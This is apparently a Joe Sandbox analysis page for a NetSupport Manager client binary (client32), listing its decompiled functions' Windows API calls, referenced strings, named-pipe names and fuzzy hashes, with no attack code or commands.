Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Window$AddressClassCreateCursorExitLoadMessageObjectProcProcessRegisterStockTimerUpdatewsprintf
String ID: Blank$BlankHeight$BlankWidth$BlankWnd x%x created, w=%d, h=%d$DwmEnableComposition$Error setting blankwnd timer, e=%d$Error. BlankWnd not created, e=%d$Error. RegisterClass(%s) failed, e=%d$Info. Class %s already registered$NSMBlankWnd$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1116282658-3566152235
Opcode ID: ae1d6d665057945294fb5caf0d7440714d9c9a6a9dc058bdebb4af3caff339a8
Instruction ID: 9e390ec76a212db177a503b5f2ce42833d95bb2e295e511e8226f65dc8590110
Opcode Fuzzy Hash: ae1d6d665057945294fb5caf0d7440714d9c9a6a9dc058bdebb4af3caff339a8
Instruction Fuzzy Hash: F281B2B5B0070AAFE710DFA5DC81FEEF7B4EB48719F104529F259A6280E770A540CBA5

Function 110432E0 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 327windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 11141160: ExpandEnvironmentStringsA.KERNEL32(7693795C,?,00000104,7693795C), ref: 11141187

ExtractIconA.SHELL32(11000000,00000000,00000000), ref: 11043329
_memset.LIBCMT ref: 11043375
_strncpy.LIBCMT ref: 110433A3
wsprintfA.USER32 ref: 11043488
_strncpy.LIBCMT ref: 110434D1
_strncpy.LIBCMT ref: 11043505
SetDlgItemTextA.USER32(?,?,?), ref: 11043522
SetDlgItemTextA.USER32(?,00000002,?), ref: 11043557
SetTimer.USER32(00000000,00000001,000003E8,00000000), ref: 110435A6
SetDlgItemTextA.USER32(?,?,11190240), ref: 110435BE
BringWindowToTop.USER32(?), ref: 110435FA
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000003), ref: 11043613
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 11043628

Part of subcall function 1115B7F0: SetForegroundWindow.USER32(?), ref: 1115B81E

MessageBeep.USER32(000000FF), ref: 11043635

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

GetDlgItem.USER32(?,00000002), ref: 1104365A
SetFocus.USER32(00000000), ref: 11043661

Strings

helpdesk.ico, xrefs: 1104330C
*UserAckWording, xrefs: 110433E4
AckDlgTimeOut, xrefs: 1104355D
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11043587
*UserAckRejectDefault, xrefs: 1104363F
AckDlgDisplayText, xrefs: 1104340E
Client, xrefs: 11043413, 11043562
m_hWnd, xrefs: 1104358C
*UserAckRejectWording, xrefs: 11043537

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemWindow$Text_strncpy$BeepBringEnvironmentExpandExtractFocusForegroundIconMessageStringsTimer__wcstoi64_memsetwsprintf
String ID: *UserAckRejectDefault$*UserAckRejectWording$*UserAckWording$AckDlgDisplayText$AckDlgTimeOut$Client$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$helpdesk.ico$m_hWnd
API String ID: 1946598539-1930157642
Opcode ID: 1ea0e76ff816f791314a2c8a492d94fb9bc916f2b51b000fe32d226f0c3b835b
Instruction ID: 389614aaf610e7bfcd0c16fb36dbf4b67e39d021bcafb49a8cfa058e789a035d
Opcode Fuzzy Hash: 1ea0e76ff816f791314a2c8a492d94fb9bc916f2b51b000fe32d226f0c3b835b
Instruction Fuzzy Hash: CFB10578B40316ABE715CB64CCC5FEEB3A5AF44708F2081A8F6559F2C1DAB1B9408B94

Function 11005360 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D480: __itow.LIBCMT ref: 1105D4A5

GetObjectA.GDI32(?,0000003C,?), ref: 11005435

Part of subcall function 1110C530: _malloc.LIBCMT ref: 1110C539
Part of subcall function 1110C530: _memset.LIBCMT ref: 1110C562

wsprintfA.USER32 ref: 1100548D
DeleteObject.GDI32(?), ref: 110054E2
DeleteObject.GDI32(?), ref: 110054EB
SelectObject.GDI32(?,?), ref: 11005502
DeleteObject.GDI32(?), ref: 11005508
DeleteDC.GDI32(?), ref: 1100550E
SelectObject.GDI32(?,?), ref: 1100551F
DeleteObject.GDI32(?), ref: 11005528
DeleteDC.GDI32(?), ref: 1100552E
DeleteObject.GDI32(?), ref: 1100553F
DeleteObject.GDI32(?), ref: 1100556A
DeleteObject.GDI32(?), ref: 11005588
DeleteObject.GDI32(?), ref: 11005591
ShowWindow.USER32(?,00000009), ref: 110055BF
PostQuitMessage.USER32(00000000), ref: 110055C7

Strings

FillStyle, xrefs: 11005419
PenWidth, xrefs: 110053DD
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11005487
Annotate, xrefs: 11005388, 110053A6, 110053C4, 110053E2, 11005400, 1100541E, 110054A4
FillColour, xrefs: 110053FB
Tool, xrefs: 11005383
Font, xrefs: 1100549F
PenStyle, xrefs: 110053BF
PenColour, xrefs: 110053A1

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Delete$Select$MessagePostQuitShowWindow__itow_malloc_memsetwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$FillColour$FillStyle$Font$PenColour$PenStyle$PenWidth$Tool
API String ID: 2789700732-770455996
Opcode ID: 5a827f03535f334cf83cafa42c304014905e54e144117175e7cb594d9886b49b
Instruction ID: f1dabe6cf6be8bc1e52f81cc9166d66655addb9bb3b55ca735fbb276793ba485
Opcode Fuzzy Hash: 5a827f03535f334cf83cafa42c304014905e54e144117175e7cb594d9886b49b
Instruction Fuzzy Hash: 4A813975600605AFD764DBA5C890EABF7F9AF8C304F10450DF6AA97281DA70F841CF60

Function 11049200 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 280COMMON

Download Yara Rule

APIs

Part of subcall function 11141440: GetVersionExA.KERNEL32(111EBE98,76938400), ref: 11141470
Part of subcall function 11141440: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111414AF
Part of subcall function 11141440: _memset.LIBCMT ref: 111414CD
Part of subcall function 11141440: _strncpy.LIBCMT ref: 1114159A

Part of subcall function 11042420: SendMessageA.USER32(?,000006D4,00000000,00000000), ref: 1104248A
Part of subcall function 11042420: GetWindowLongA.USER32(00000000,000000F0), ref: 11042491
Part of subcall function 11042420: IsWindow.USER32(00000000), ref: 1104249E
Part of subcall function 11042420: GetWindowRect.USER32(00000000,11049250), ref: 110424B5

GetCursorPos.USER32(?), ref: 11049264
WindowFromPoint.USER32(?,?,?,00000000,00000000,00000000), ref: 1104928B
GetClassNameA.USER32(00000000,?,00000040), ref: 1104929D
WaitForInputIdle.USER32(00000000,000003E8), ref: 110493B8
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000000), ref: 110493CB
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000000), ref: 110493D4
GetCursorPos.USER32(?), ref: 110493DD
EnumWindows.USER32(11042520,?), ref: 11049434
GetWindowRect.USER32(?,?), ref: 11049450
WindowFromPoint.USER32(?,?,?,?,?,?,00000000,00000000,00000000), ref: 1104946A
GetClassNameA.USER32(00000000,?,00000040), ref: 11049479

Strings

ActivateStui=%d, @%d,%d, actwin=%x [%s], xrefs: 110492B7
NSMCoolbar, xrefs: 110492C4, 110494A4
', xrefs: 110494F2
*ExitMetroBreak, xrefs: 110493EE
Client, xrefs: 110493FF, 1104954E
"%sNSClientTB.exe", xrefs: 11049361
ActivateStui=-1, @%d,%d, actwin=%x [%s], xrefs: 11049497
*ExitMetroCloseDelay, xrefs: 11049549

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ClassCloseCursorFromHandleNamePointRect$EnumIdleInputLongMessageOpenSendVersionWaitWindows_memset_strncpy
String ID: "%sNSClientTB.exe"$'$*ExitMetroBreak$*ExitMetroCloseDelay$ActivateStui=%d, @%d,%d, actwin=%x [%s]$ActivateStui=-1, @%d,%d, actwin=%x [%s]$Client$NSMCoolbar
API String ID: 4093120923-2853765610
Opcode ID: 85c2da07eb3f9c32575abc30feab8f22ee9ddf08d3ddce563e04c0ecc42036b4
Instruction ID: 2b6fbc4dcffc7661dd41e5abdcad1b6ce9b686f62cea86de082cae3b3be938a3
Opcode Fuzzy Hash: 85c2da07eb3f9c32575abc30feab8f22ee9ddf08d3ddce563e04c0ecc42036b4
Instruction Fuzzy Hash: AAA18775E01229AFDB11CFA0CCC5FAEB7B9AB49704F1041F9E919A7280EB356944CF61

Function 110B95C0 Relevance: 37.0, APIs: 11, Strings: 10, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111417E0: _memset.LIBCMT ref: 11141825
Part of subcall function 111417E0: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114183E
Part of subcall function 111417E0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11141865
Part of subcall function 111417E0: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11141877
Part of subcall function 111417E0: FreeLibrary.KERNEL32(00000000), ref: 1114188F
Part of subcall function 111417E0: GetSystemDefaultLangID.KERNEL32 ref: 1114189A

LoadMenuA.USER32(00000000,000032E2), ref: 110B9710
CreateWindowExA.USER32(00000000,NSMCobrMain,?,04CF0000,80000000,80000000,00000190,000001F4,00000000,00000000,?,00000000), ref: 110B9745
SetWindowPlacement.USER32(?,0000002C,00000000,?,?,00000000), ref: 110B97E9
GetMenu.USER32(?), ref: 110B9833
DeleteMenu.USER32(00000000,00000004,00000400,?,?,00000000), ref: 110B983D
GetWindowPlacement.USER32(?,0000002C,?,?,00000000), ref: 110B987E
GetMenu.USER32(?), ref: 110B98D0
GetMenuItemCount.USER32(00000000), ref: 110B98DA
DeleteMenu.USER32(00000000,-00000001,?,?,00000000), ref: 110B98E3

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

UpdateWindow.USER32(?), ref: 110B9925
BringWindowToTop.USER32(?), ref: 110B992F

Strings

*WindowPos, xrefs: 110B97A1
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110B964C, 110B96C6
NSMCobrMain, xrefs: 110B973F
,, xrefs: 110B9850
..\CTL32\NSMCobrowse.cpp, xrefs: 110B9757
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B97CC, 110B981D, 110B9861, 110B98BA, 110B990F
m_hWnd, xrefs: 110B975C, 110B97D1, 110B9822, 110B9866, 110B98BF, 110B9914
IsA(), xrefs: 110B9651, 110B96CB
*StartPage, xrefs: 110B9683
about:blank, xrefs: 110B96E1

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Window$DeleteLibraryLoadPlacement$AddressBringCountCreateDefaultErrorExitFreeItemLangLastMessageProcProcessSystemUpdateVersion_memsetwsprintf
String ID: *StartPage$*WindowPos$,$..\CTL32\NSMCobrowse.cpp$IsA()$NSMCobrMain$about:blank$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2603857032-88213634
Opcode ID: 0cec0d50ebee21ba6a17e7d982a91d7d5b549194dcee0b8230c5511c690d440d
Instruction ID: d20e4aafcd83eebda28ce62d0800f56c8c7637518042882d329fa9d1365a34e1
Opcode Fuzzy Hash: 0cec0d50ebee21ba6a17e7d982a91d7d5b549194dcee0b8230c5511c690d440d
Instruction Fuzzy Hash: DB91B2B8A00716AFD721DF65CC84F9AF3B8AF44308F10899CF65657281EB74B944CB95

Function 110ED200 Relevance: 36.2, APIs: 24, Instructions: 222windowmemoryCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 110ED21E
GetStockObject.GDI32(0000000F), ref: 110ED232
GetDC.USER32(00000000), ref: 110ED2AA
SelectPalette.GDI32(00000000,00000000,00000000), ref: 110ED2BB
RealizePalette.GDI32(00000000), ref: 110ED2C1
GlobalAlloc.KERNEL32(00000042,?,00000000), ref: 110ED2DC
SelectPalette.GDI32(00000000,?,00000001), ref: 110ED2F0
RealizePalette.GDI32(00000000), ref: 110ED2F3
ReleaseDC.USER32(00000000,00000000), ref: 110ED2FB

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Palette$ObjectRealizeSelect$AllocGlobalReleaseStock
String ID:
API String ID: 1969595663-0
Opcode ID: 460c3ef96ebe8ed115c01ac097ffa682f3726c3033c725e46577f46786f58dec
Instruction ID: 1e1ad6333aad332ac4071d0bb29ae1495f88fc82ca458ec388263f5441ffa5cc
Opcode Fuzzy Hash: 460c3ef96ebe8ed115c01ac097ffa682f3726c3033c725e46577f46786f58dec
Instruction Fuzzy Hash: B97182B1D01129AFDB00DFA9CC88BEEB7B9FF88715F14806AFA15E7244D77499008B61

Function 110F35D0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179filesleeppipeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110F3608

Part of subcall function 1110C3D0: SetEvent.KERNEL32(00000000,?,1102C03F), ref: 1110C3F4

wsprintfA.USER32 ref: 110F365A

Part of subcall function 110F1070: LocalAlloc.KERNEL32(00000040,00000014,?,00000000), ref: 110F107C
Part of subcall function 110F1070: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 110F10A5
Part of subcall function 110F1070: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 110F10B2
Part of subcall function 110F1070: CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,?,?,000003E8,?), ref: 110F10E3
Part of subcall function 110F1070: GetLastError.KERNEL32 ref: 110F10F0
Part of subcall function 110F1070: Sleep.KERNEL32(000003E8), ref: 110F110F
Part of subcall function 110F1070: CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,00000001,?,000003E8,0000000C), ref: 110F112E
Part of subcall function 110F1070: LocalFree.KERNEL32(?), ref: 110F113F

wsprintfA.USER32 ref: 110F369E
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 110F36CA
Sleep.KERNEL32(000003E8), ref: 110F36DC
SetNamedPipeHandleState.KERNEL32(00000000,?,00000000,00000000), ref: 110F36F9
ReadFile.KERNEL32(?,?,00010000,?,00000000), ref: 110F3763
CloseHandle.KERNEL32(00000000), ref: 110F379E
GetLastError.KERNEL32 ref: 110F37AC
InterlockedExchange.KERNEL32(?,00000000), ref: 110F37B8
CloseHandle.KERNEL32(00000000), ref: 110F37C3
SetEvent.KERNEL32(00000260), ref: 110F37DA
InterlockedExchange.KERNEL32(?,00000000), ref: 110F37EC
CloseHandle.KERNEL32(00000000), ref: 110F37F3
InterlockedExchange.KERNEL32(?,00000000), ref: 110F37FF
CloseHandle.KERNEL32(00000000), ref: 110F3809

Strings

\\.\pipe\nsm_vistapipe%d, xrefs: 110F3698
\\.\pipe\nsm_%s, xrefs: 110F3654
VistaUIPipe%d, xrefs: 110F35F6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$Close$CreateExchangeInterlockedNamedPipewsprintf$DescriptorErrorEventFileLastLocalSecuritySleep$AllocDaclFreeInitializeReadState
String ID: VistaUIPipe%d$\\.\pipe\nsm_%s$\\.\pipe\nsm_vistapipe%d
API String ID: 314772441-3428003663
Opcode ID: 156e08e3a05e9d95cd71096ee1ca53c2ef2cc4283ea66e10ff7e6104d074e3ed
Instruction ID: 604409057c20d5767275b15efd7dff91e3a1067eef8d912a0f96daa3085cfff4
Opcode Fuzzy Hash: 156e08e3a05e9d95cd71096ee1ca53c2ef2cc4283ea66e10ff7e6104d074e3ed
Instruction Fuzzy Hash: 4E617175E00326ABDB11CF65CC85FD9B7B8BF48724F108195FA459B284DBB4A980CFA1

Function 111033A0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 239libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,8F98CBB2,00000002,1102F550,00000000,00000000,11185D66,000000FF,?,111042CF,00000000,?,1102F550,00000000,00000000), ref: 111033DD

Part of subcall function 11134940: GetVersion.KERNEL32(00000000,76230BD0,00000000), ref: 11134963
Part of subcall function 11134940: GetModuleHandleA.KERNEL32(ntdll.dll), ref: 11134984
Part of subcall function 11134940: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 11134994
Part of subcall function 11134940: GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 111349B1
Part of subcall function 11134940: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 111349BD
Part of subcall function 11134940: _memset.LIBCMT ref: 111349D7

FreeLibrary.KERNEL32(00000000,?,111042CF,00000000,?,1102F550,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF), ref: 1110342F
LoadLibraryA.KERNEL32(Kernel32.dll), ref: 11103466
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 111034EF
GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 11103571
SetLastError.KERNEL32(00000078), ref: 11103593
SetLastError.KERNEL32(00000078), ref: 111035A0
OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 111035B9
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,?,111042CF), ref: 11103620
GetTokenInformation.ADVAPI32(?,0000000C(TokenIntegrityLevel),?,00000004,?,?,?,?,?,?,111042CF), ref: 11103647
CloseHandle.KERNEL32(?,?,?,?,?,?,111042CF), ref: 1110369F

Part of subcall function 111031C0: GetTickCount.KERNEL32 ref: 111031EE
Part of subcall function 111031C0: EnterCriticalSection.KERNEL32(111EB5C4), ref: 111031F7
Part of subcall function 111031C0: GetTickCount.KERNEL32 ref: 111031FD
Part of subcall function 111031C0: GetTickCount.KERNEL32 ref: 11103250
Part of subcall function 111031C0: LeaveCriticalSection.KERNEL32(111EB5C4), ref: 11103259

Part of subcall function 110F3B10: WaitForSingleObject.KERNEL32(?,00000000,111042CF,00000000,11103670,?,?,?,?,?,?,111042CF), ref: 110F3B21
Part of subcall function 110F3B10: InterlockedExchange.KERNEL32(00000034,00000000), ref: 110F3B2D
Part of subcall function 110F3B10: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,111042CF), ref: 110F3B38
Part of subcall function 110F3B10: InterlockedIncrement.KERNEL32(111EB5B4), ref: 110F3B65

CloseHandle.KERNEL32(00000000,00000000,?,00000104), ref: 111036A6
FreeLibrary.KERNEL32(00000000,?,?,?,?,111042CF), ref: 111036F6
FreeLibrary.KERNEL32(00000000,?,?,?,?,111042CF), ref: 11103701

Strings

EnumProcesses, xrefs: 111034D9
ProcessIdToSessionId, xrefs: 1110356B
psapi.dll, xrefs: 111033D8
Kernel32.dll, xrefs: 11103461

Memory Dump Source

